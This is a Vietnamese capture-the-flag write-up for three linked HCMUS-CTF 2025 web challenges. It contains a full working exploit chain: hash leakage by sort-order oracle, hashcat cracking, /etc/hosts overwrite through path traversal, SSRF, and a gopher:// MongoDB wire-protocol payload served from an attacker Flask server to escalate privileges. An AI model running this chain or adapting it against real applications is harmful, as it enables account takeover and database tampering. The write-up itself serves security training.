Post

HCMUS-CTF 2025 Qualification

Intended Solution for MAL, MALD and BALD

MAL

alt text

  1. Ở chỗ update user (POST /user/:username/edit) code bị lỗi “QA” vì khi update mật khẩu sẽ không hash lại mà update trực tiếp vào db, nếu đúng thì mật khẩu sau khi đăng kí tài khoản sẽ được lưu vào 2 field là hashsalt.
  2. API GET /users có cho mình liệt kê các users trên hệ thống, và mình có thể truyền query sort để sort ascending, descending dựa vào field đó của user.

=> Có thể sử dụng để leak 2 field hashsalt của tất cả user.

Để dễ hình dung thì giờ trên hệ thống có user Dat2Phit cần muốn leak mật khẩu, mình sẽ đăng kí thêm 1 user (gọi là A)

Sau đó để leak field hash của Dat2Phit thì mình sử dụng api update user (POST /user/:username/edit) để update field hash của A thành chữ a, sau đó sử dụng api list user (GET /users) với query là ?sort=hash thì sẽ thấy user A nằm trước hoặc nằm sau user Dat2Phit.

Ví dụ trường hợp này user A nằm trước đi. Sau đó mình update field hash của user A thành c, lúc này gọi (GET /users?sort=hash) thì thấy user A nằm sau user Dat2Phit => kí tự đầu của field hash của Dat2Phitb.

Xong mình cứ làm tương tự với các kí tự sau, và làm như vậy cho field salt luôn. Ở đây có thể sử dụng thuật toán binary search để đẩy nhanh quá trình brute.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
def changeField(field_name, guess_hash):
  sess.post(url + f'/user/{username}/edit', data={field_name: guess_hash, 'secret': user_secret})
  res = sess.get(url + f'/users?sort={field_name}')
  soup = BeautifulSoup(res.text, 'html.parser')
  users = soup.find_all('a', {'class': 'anime_title'})
  for user in users:
    if admin_username in user:
      return 1
    if username.lower() in repr(user).lower():
      return -1
    
def leak_field(field_name, length, alphabet=string.hexdigits.lower()):
  field_value = ""
  while len(field_value) != length:
    L = 0
    R = len(alphabet)

    while L < R:
      M = (L + R) // 2
      if L == M:
        break
      guess = alphabet[M]
      field_value_guess = field_value + guess
      pos = changeField(field_name, field_value_guess)
      if pos == -1:
        L = M
      else:
        R = M
    if len(field_value) != length - 1:
      field_value += alphabet[L]
      print(f"[*] FOUND: {field_value} [{len(field_value)}/{length}]")
    else:
      # Final check character is a headache
      if L == 0:
        if changeField(field_name, field_value + alphabet[L]) == -1:
          field_value += alphabet[L + 1]
        else:
          field_value += alphabet[L]
      else:
        field_value += alphabet[L + 1]
      print(f"[*] FOUND: {field_value} [{len(field_value)}/{length}]")
  return field_value

############## PART 1 ##############
print("[!] ############## PART 1 ##############")
print("[!] Leaking admin hash")
admin_hash = leak_field('hash', 64)
print("[!] Leaking admin salt")
admin_salt = leak_field('salt', 32)

Vì mật khẩu user Dat2Phit chỉ có 5 kí tự số (0-9), ta có thể crack cái hash trên bằng hashcat.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
hash_cat_string = f"sha256:25000:{b64encode(admin_salt.encode()).decode()}:{b64encode(unhexlify(admin_hash)).decode()}"
print(f"[*] hashcat string: {hash_cat_string}")
hash_file = "hash"
with open(hash_file, 'w') as f:
  f.write(hash_cat_string)
hashcat_command = f"hashcat -a 3 -m 10900 {hash_file} ?d?d?d?d?d"
print(f"[!] Cracking with hashcat: hashcat -a 3 -m 10900 {hash_file} ?d?d?d?d?d")

try:
    output = subprocess.check_output(hashcat_command, shell=True).decode("utf-8")
    if "--show" in output:
      output = subprocess.check_output(hashcat_command + " --show", shell=True).decode("utf-8")
    admin_password = output.split(hash_cat_string + ":")[1].split("\n")[0]
    print(f"[+] Found admin password: { admin_password }")
except subprocess.CalledProcessError as e:
    print(f"Error executing hashcat command: {e}")
    if os.path.exists(hash_file):
      os.remove(hash_file)
    exit()

=> Crack xong thì lấy được mật khẩu của Dat2Phit

alt text

Đăng nhập nhập vào tài khoản và vào trang profile để lấy flag, nhưng ở đây cần thêm một bước nữa. Vì user Dat2Phit đã bị cached, và secret key hiện trên trang web không phải là flag

alt text

Trong source code khi khởi tạo tài khoản thì user Dat2Phit được update secret là flag sau khi bị cache.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
User.register(Dat2Phit, password, async function (err, user) {
  if (err) {
    throw new Error('Failed to initialize');
  }
  data.data.secret = randomstring.generate(20);
  const userdata = await User.findOneAndUpdate(
    { username: username },
    { data: data.data },
    { new: true }
  );
  if (!myCache.has(`user_${username}`)) {
    myCache.set(`user_${username}`, userdata);
  }
  await User.findOneAndUpdate(
    { username: username },
    { 'data.secret': process.env.FLAG_1 || 'HCMUS-CTF{fake-flag}' }
  );
});

=> Cache bust để lấy flag.

Và để làm vậy thì rất dễ, vì hàm const existed_user = await jakanUsers.users(username, 'full'); sẽ không quan tâm là username có case sensitive hay không => query dat2phit vẫn trả về thông tin của Dat2Phit

=> Cache bust và lấy được flag

alt text

=> Flag 1: HCMUS-CTF{D1d_y0u_u53_B1n4ry_s34rcH?:v}

MALD

alt text

Tiếp theo để lấy được flag thứ 2 thì mình phải gọi đến /admin/flag, để gọi được api này và lấy flag thì request phải từ 127.0.0.1 => mùi SSRF

1
2
3
4
5
6
7
router.get('/admin/flag', async (req, res) => {
  if (req.socket.remoteAddress === '127.0.0.1') {
    res.json({ data: { flag: process.env.FLAG_2 || 'HCMUS-CTF{fakeflag}' } });
    return;
  }
  res.json({ data: { flag: {} } });
});

Sau khi đã có được tài khoản admin (Dat2Phit), mình unlock thêm được 1 số api để sử dụng.

Một trong số đó chính là api để write file POST /admin/archive/:filename.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
router.post('/admin/archive/:filename', isAdmin, async (req, res) => {
  const filename = req.params.filename;
  const content = req.body.content;
  const file_path = path.join(archiveFolder, filename);
  if (
    file_path.includes('app') ||
    file_path.includes('proc') ||
    file_path.includes('environ') ||
    isBinaryPath(file_path)
  ) {
    throw new Error('Invalid path');
  }
  if (!isAscii(content)) {
    throw new Error('Content must be ASCII');
  }
  fs.writeFileSync(file_path, content);
  res.redirect(`/admin/archive/${filename}`);
});

=> Bị filter “khá kĩ” (nhiều unintended ở đây lắm hjx), chỉ cho viết vào những file không phải binary và không nằm trong các folder có đường dẫn chứa app, proc, environ, và content mình viết vào file phải là ascii.

Vì mục tiêu là SSRF để đọc flag => khả năng cao là sửa /etc/hosts.

Và vì trong source có 1 api nó sẽ gọi tới http://api.jikan.moe thay vì https://api.jikan.moe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
router.get('/studio/:producerId', async (req, res) => {
  const mal_id = req.params.producerId;
  let data;
  if (myCache.has(`studio_${mal_id}`)) {
    data = myCache.get(`studio_${mal_id}`);
  } else {
    // The libray hasn't implemented a wrapper for producers
    const request = jakanMisc.infoRequestBuilder(
      'http://api.jikan.moe/v4/producers',
      mal_id,
      'full'
    );
    data = await jakanMisc.makeRequest(normalizeUrl(request));
    myCache.set(`studio_${mal_id}`, data);
  }
  res.render('producer/studio', {
    data: data.data
  });
});

=> Viết vào /etc/hosts giá trị api.jikan.moe 127.0.0.1 để request về ssrf về localhost.

Nếu check source của hàm infoRequestBuilder thì thấy là nó có thể bị path traversal nếu mal_id truyền vào không được sanitize.

1
2
3
4
5
6
7
8
9
10
11
infoRequestBuilder(
    endpointBase: string,
    id: number | string,
    extraInfo?: string
): string {
    if (typeof extraInfo === "string") {
        return `${endpointBase}/${id}/${extraInfo}`;
    } else {
        return `${endpointBase}/${id}`;
    }
}

=> Path traversal từ http://api.jikan.moe/v4/producers/${id}/full về /admin/flag để lấy flag 2.

=> mal_id = ..%2f..%2fadmin%2fflag%23 => http://api.jikan.moe/admin/flag#/full

Sau khi ssrf lấy flag 2 xong thì sẽ được lưu trong cache, ta có thể dễ dàng xem nó bằng account của admin.

alt text

Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
############## PART 2 ##############
print("[!] ############## PART 2 ##############")
print("[!] Reading /etc/hosts")
res = sess.get(url + '/admin/archive/..%2fetc%2fhosts')
etc_hosts_content = res.text.split("</textarea>")[0].split(">")[-1]
print(etc_hosts_content)
print("[!] Adding api.jikan.moe to /etc/hosts as 127.0.0.1")
new_etc_hosts_content = etc_hosts_content + "127.0.0.1\tapi.jikan.moe\n"
sess.post(url + '/admin/archive/..%2fetc%2fhosts', data={'content': new_etc_hosts_content})
print("[!] Triggering SSRF")
sess.get(url + '/studio/..%2f..%2fadmin%2fflag%23')
print("[!] Reading FLAG 2 from cache")
res = sess.get(url + '/admin/cache')
flag2 = re.findall(f'{flag_prefix}{{.*?}}', res.text)[0]
print(f"[+] GOT FLAG 2: {flag2}")

alt text

=> Flag 2: HCMUS-CTF{Sh0uldnt_h4v3_1mpl3m3nt3d_1t}

BALD

alt text

Để lấy flag cuối cùng thì ta cần phải có acc có role super_admin

1
2
3
router.get('/super_admin/flag', isSuperAdmin, async (req, res) => {
  res.json({ data: { flag: process.env.FLAG_3 || 'HCMUS-CTF{fakeflag}' } });
});

Hiện tại trong database không có user nào có role super_admin hết, chỉ có Dat2Phit là role admin thôi.

Vậy cần kiếm cách nào để privesc từ role admin lên role super_admin.

Trong app có một api /user/:username/export sẽ sử dụng curl để scrape các link trong trang profile để tổng hợp nó thành 1 file pdf.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/**
 * Export the current user favorite anime to a file
 *
 *  @param username the myanimelist username of the current user
 */

router.get('/user/:username/export', isLoggedIn, async (req, res) => {
  const username = req.params.username;
  const baseURL = `http://localhost:${process.env.PORT}`;
  const data = await execFile('curl', [`${baseURL}/user/${username}/profile`]);
  const $ = cheerio.load(data.stdout);
  const imgs = $('img:not(.user-avatar)')
  const imgs_src = []
  imgs.each(function (idx, img) {
    imgs_src.push($(img).attr('src'))
  });
  const promises = imgs_src.map((src) =>
    execFile('curl', [src], { encoding: 'buffer', maxBuffer: 5 * 1024 * 1024 })
  );
  const results = await Promise.all(promises)
  const img_buffers = await Promise.all(
    results.map(async (res) => {
      const img = await sharp(res.stdout).toFormat('png').toBuffer();
      return img
    }
  ));
  const outFile = `${exportsFilePath}/${uuidv4()}.pdf`;
  const pdfBuffers = await imgToPDF(img_buffers, imgToPDF.sizes.A5).toArray()
  fs.writeFileSync(outFile, Buffer.concat(pdfBuffers));
  res.download(outFile, `${username}.pdf`, function (err) {
    if (err) {
      console.log(err);
    }
    fs.unlinkSync(outFile);
  });
});

Lợi dụng việc api /studio/:producerId bị SSRF, ta có thể sửa /etc/hosts để chỉa domain api.jikan.moe về ip của attacker => Attacker có thể send fake data tới server.

Ngoài ra, api /user/:username/export cũng bị path traversal khi username chứa .. => có thể path traversal về /studio/:producerId bằng username ..%2fstudio%2f:producerId%23

=> Attacker có thể send fake data cho thằng curl nó scrape khi gọi /user/:username/export

=> Vì curl sẽ scrape và request tới các link trong <img src="link" > => Attacker có thể gửi link gopher:// để cho curl gửi raw request tới mongoDB để sửa role lên super_admin

Khúc này sẽ lấy ý tường từ challenge oh-my-bet hồi StarCTF 2021. Link writeup

Nếu check version curl ở trong Dockerfile thì thấy là version 7.69.0 => version này mình có thể thêm null byte ở phía sau gopher:// => có gửi thẳng MongoDB Wire Protocol tới MongoDB để sửa role từ admin lên super_admin

Trong writeup của bài oh-my-bet thì payload trong đó sẽ tạo một account mới với role super_admin sử dụng $insert. Còn ở challenge BALD nếu làm như vậy sẽ không được, tại vì sau khi tạo acc có role super_admin thì phải login bằng acc đó để lấy flag, mà api login đã chặn không cho super_admin đăng nhập vô.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
router.post(
  '/login',
  limiter,
  passport.authenticate('local', {
    failureRedirect: '/login',
    failureFlash: true
  }),
  (req, res) => {
    if (req.user.role !== 'super_admin') {
      return res.redirect('/index')
    }
    req.logout();
    return res.redirect('/login');
  }
);

=> Tìm payload có thể edit role thay vì tạo user mới.

=> Sử dụng $set để thay thay đổi role.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def gen_mongowire_payload(username):
  doc = {
    "update": "users",
    "$db": "MAL",
    "updates": [{
      "q": {
        "username": username
      },
      "u": {
        "$set": {
          "role": "super_admin"
        }
      }
    }]
  }
  b = unhexlify('0000000000000000DD0700000000000000') + bson.dumps(doc)
  b = bytes(pack_size(len(b) + 4)) + b
  return quote(b)

TLDR, các bước tấn công bao gồm:

Attacker tạo một rogue server để gửi link gopher:// để cho thằng curl nó request tới mongoDB để edit role thành super_admin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
app = Flask(__name__)
gopher_payload = gen_mongowire_payload("Dat2Phit")

@app.route("/payload", methods=["GET"])
def payload():
  payload = {
    'data': {
      "mal_id": 420,
      "titles": [
        {
          "type": "Default",
          "title": "lmao"
        }
      ],
      "images": {
        "jpg": {
          "image_url": f"gopher://mongo:27017/_{gopher_payload}"
        }
      },
      "favorites": 6969,
      "about": "lmaolmao"
    }
  }
  return jsonify(payload)

app.run(host="0.0.0.0", port=80, debug=False)

Sau đó sửa /etc/hosts để chỉa api.jikan.moe về ip của attacker. Rồi path traversal api /user/:username/export để request tới /studio/:producerId để trigger SSRF tới attacker server.

=> username: ..%2fstudio%2f..%252f..%252fpayload%2523%23

=> Lúc gửi tới /user/:username/export thì curl sẽ gửi request tới http://localhost:80/user/../studio/..%2f..%2fpayload%23#/export == http://localhost:80/studio/..%2f..%2fpayload%23

Mà chỗ api /studio/:producerId cũng bị path traversal.

1
2
3
4
5
6
7
8
const mal_id = req.params.producerId;
// ...
const request = jakanMisc.infoRequestBuilder(
  'http://api.jikan.moe/v4/producers',
  mal_id,
  'full'
);
data = await jakanMisc.makeRequest(normalizeUrl(request));
1
2
3
4
5
6
7
8
9
10
11
infoRequestBuilder(
    endpointBase: string,
    id: number | string,
    extraInfo?: string
): string {
    if (typeof extraInfo === "string") {
        return `${endpointBase}/${id}/${extraInfo}`;
    } else {
        return `${endpointBase}/${id}`;
    }
}

Nên khi request tới http://localhost:80/studio/..%2f..%2fpayload%23. jakanMisc.makeRequest(normalizeUrl(request)) sẽ request tới http://api.jikan.moe/v4/producers/../../payload#/full == http://api.jikan.moe/payload

Mà sau khi sửa /etc/hosts thì api.jikan.moe sẽ resolve thành ip của attacker => http://api.jikan.moe/payload sẽ request tới server của attacker đang chứ payload gopher.

Lúc này curl sẽ thấy được payload gopher:// của attacker và tiến hành request tới nó. Và lúc này curl sẽ gửi thẳng MongoDB Wire Protocol tới MongoDB để sửa role của Dat2Phit từ admin lên super_admin

Cuối cùng thì request tới /super_admin/flag rồi lụm thôi.

=> Flag 3: HCMUS-CTF{Priv3SC_Thr0uGh_G0ph3r_n1c3!}

Full chain script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
# authbind --deep python3 solve.py
import requests, string, subprocess, re, time, os, multiprocessing, struct, bson
from bs4 import BeautifulSoup
from base64 import b64encode
from binascii import unhexlify
from flask import Flask, jsonify
from urllib.parse import quote

url = "http://localhost:8000"
attacker_ip = "192.168.65.254"
username = "asdasd"
password = "123123"
admin_username = "Dat2Phit"
flag_prefix = "HCMUS-CTF" 

sess = requests.Session()

sess.post(url + '/register', data={'username': username, 'password': password})
sess.post(url + '/login', data={'username': username, 'password': password})
# sess.cookies.set("session", "eyJwYXNzcG9ydCI6eyJ1c2VyIjoiYXNkYXNkIn19")
# sess.cookies.set("session.sig", "c73mBcPlQ8Ls0ATA7uKtEj2hnMY")
print(sess.cookies.get_dict())

res = sess.get(url + f'/user/{username}/edit')
soup = BeautifulSoup(res.text, 'html.parser')
user_secret = soup.find('input', {'id': 'secret'}).get('value')
print(f"[*] User secret: {user_secret}")

def changeField(field_name, guess_hash):
  sess.post(url + f'/user/{username}/edit', data={field_name: guess_hash, 'secret': user_secret})
  res = sess.get(url + f'/users?sort={field_name}')
  soup = BeautifulSoup(res.text, 'html.parser')
  users = soup.find_all('a', {'class': 'anime_title'})
  for user in users:
    if admin_username in user:
      return 1
    if username.lower() in repr(user).lower():
      return -1
    
def leak_field(field_name, length, alphabet=string.hexdigits.lower()):
  field_value = ""
  while len(field_value) != length:
    L = 0
    R = len(alphabet)

    while L < R:
      M = (L + R) // 2
      if L == M:
        break
      guess = alphabet[M]
      field_value_guess = field_value + guess
      pos = changeField(field_name, field_value_guess)
      if pos == -1:
        L = M
      else:
        R = M
    if len(field_value) != length - 1:
      field_value += alphabet[L]
      print(f"[*] FOUND: {field_value} [{len(field_value)}/{length}]")
    else:
      # Final check character is a headache
      if L == 0:
        if changeField(field_name, field_value + alphabet[L]) == -1:
          field_value += alphabet[L + 1]
        else:
          field_value += alphabet[L]
      else:
        field_value += alphabet[L + 1]
      print(f"[*] FOUND: {field_value} [{len(field_value)}/{length}]")
  return field_value

############## PART 1 ##############
print("[!] ############## PART 1 ##############")
print("[!] Leaking admin hash")
admin_hash = leak_field('hash', 64)
print("[!] Leaking admin salt")
admin_salt = leak_field('salt', 32)
hash_cat_string = f"sha256:25000:{b64encode(admin_salt.encode()).decode()}:{b64encode(unhexlify(admin_hash)).decode()}"
print(f"[*] hashcat string: {hash_cat_string}")
hash_file = "hash"
with open(hash_file, 'w') as f:
  f.write(hash_cat_string)
hashcat_command = f"hashcat -a 3 -m 10900 {hash_file} ?d?d?d?d?d"
print(f"[!] Cracking with hashcat: hashcat -a 3 -m 10900 {hash_file} ?d?d?d?d?d")

try:
    output = subprocess.check_output(hashcat_command, shell=True).decode("utf-8")
    if "--show" in output:
      output = subprocess.check_output(hashcat_command + " --show", shell=True).decode("utf-8")
    admin_password = output.split(hash_cat_string + ":")[1].split("\n")[0]
    print(f"[+] Found admin password: { admin_password }")
except subprocess.CalledProcessError as e:
    print(f"Error executing hashcat command: {e}")
    if os.path.exists(hash_file):
      os.remove(hash_file)
    exit()

if os.path.exists(hash_file):
  os.remove(hash_file)

print(f"[!] Loging in as admin: { admin_username }")
sess.post(url + '/login', data={'username': admin_username, 'password': admin_password})
time.sleep(1)
print(f"[!] Cache busting and getting first flag")
res = sess.get(url + f'/user/{admin_username.lower()}/edit')
flag1 = re.findall(f'{flag_prefix}{{.*?}}', res.text)[0]
print(f"[+] GOT FLAG 1: {flag1}")

############## PART 2 ##############
print("[!] ############## PART 2 ##############")
print("[!] Reading /etc/hosts")
res = sess.get(url + '/admin/archive/..%2fetc%2fhosts')
etc_hosts_content = res.text.split("</textarea>")[0].split(">")[-1]
print(etc_hosts_content)
print("[!] Adding api.jikan.moe to /etc/hosts as 127.0.0.1")
new_etc_hosts_content = etc_hosts_content + "127.0.0.1\tapi.jikan.moe\n"
sess.post(url + '/admin/archive/..%2fetc%2fhosts', data={'content': new_etc_hosts_content})
print("[!] Triggering SSRF")
sess.get(url + '/studio/..%2f..%2fadmin%2fflag%23')
print("[!] Reading FLAG 2 from cache")
res = sess.get(url + '/admin/cache')
flag2 = re.findall(f'{flag_prefix}{{.*?}}', res.text)[0]
print(f"[+] GOT FLAG 2: {flag2}")

############## PART 3 ##############
print("[!] ############## PART 3 ##############")
print(f"[!] Adding api.jikan.moe to /etc/hosts as {attacker_ip}")
newer_etc_hosts_content = etc_hosts_content + f"{attacker_ip}\tapi.jikan.moe\n"
sess.post(url + '/admin/archive/..%2fetc%2fhosts', data={'content': newer_etc_hosts_content})

def pack_size(section):
  return list(struct.pack("<i", section))

def encode(data):
	packet = ""
	for i in range(int(len(data) / 2)):
		packet += "%" + data[2*i:2*(i+1)]
	return packet

def gen_mongowire_payload(username):
  doc = {
    "update": "users",
    "$db": "MAL",
    "updates": [{
      "q": {
        "username": username
      },
      "u": {
        "$set": {
          "role": "super_admin"
        }
      }
    }]
  }
  b = unhexlify('0000000000000000DD0700000000000000') + bson.dumps(doc)
  b = bytes(pack_size(len(b) + 4)) + b
  return quote(b)

def start_server(gopher_payload):
  print("[+] Started Flask server")
  app = Flask(__name__)
  
  @app.route("/payload", methods=["GET"])
  def payload():
    payload = {
      'data': {
        "mal_id": 420,
        "titles": [
          {
            "type": "Default",
            "title": "lmao"
          }
        ],
        "images": {
          "jpg": {
            "image_url": f"gopher://mongo:27017/_{gopher_payload}"
          }
        },
        "favorites": 6969,
        "about": "lmaolmao"
      }
    }
    return jsonify(payload)

  app.run(host="0.0.0.0", port=80, debug=False)

print("[!] Generating gopher payload")
payload = gen_mongowire_payload(admin_username)
print(f"[+] Payload: gopher://mongo:27017/_{payload}")
print("[!] Starting Flask server")
server = multiprocessing.Process(target=start_server, args=(payload,))
server.start()
time.sleep(5)
print("[!] Started attacker server")

print("[!] Triggering SSRF to attacker server")
sess.get(url + '/studio/..%2f..%2fpayload%23')

print("[!] Triggering SSRF to mongodb via gopher")
try:
  sess.get(url + '/user/..%2fstudio%2f..%252f..%252fpayload%2523%23/export', timeout=3)
except:
  pass

print("[!] Getting FLAG 3 at /super_admin/flag")
res = sess.get(url + '/super_admin/flag')
flag3 = re.findall(f'{flag_prefix}{{.*?}}', res.text)[0]
print(f"[+] GOT FLAG 3: {flag3}")

server.terminate()

alt text

This post is licensed under CC BY 4.0 by the author.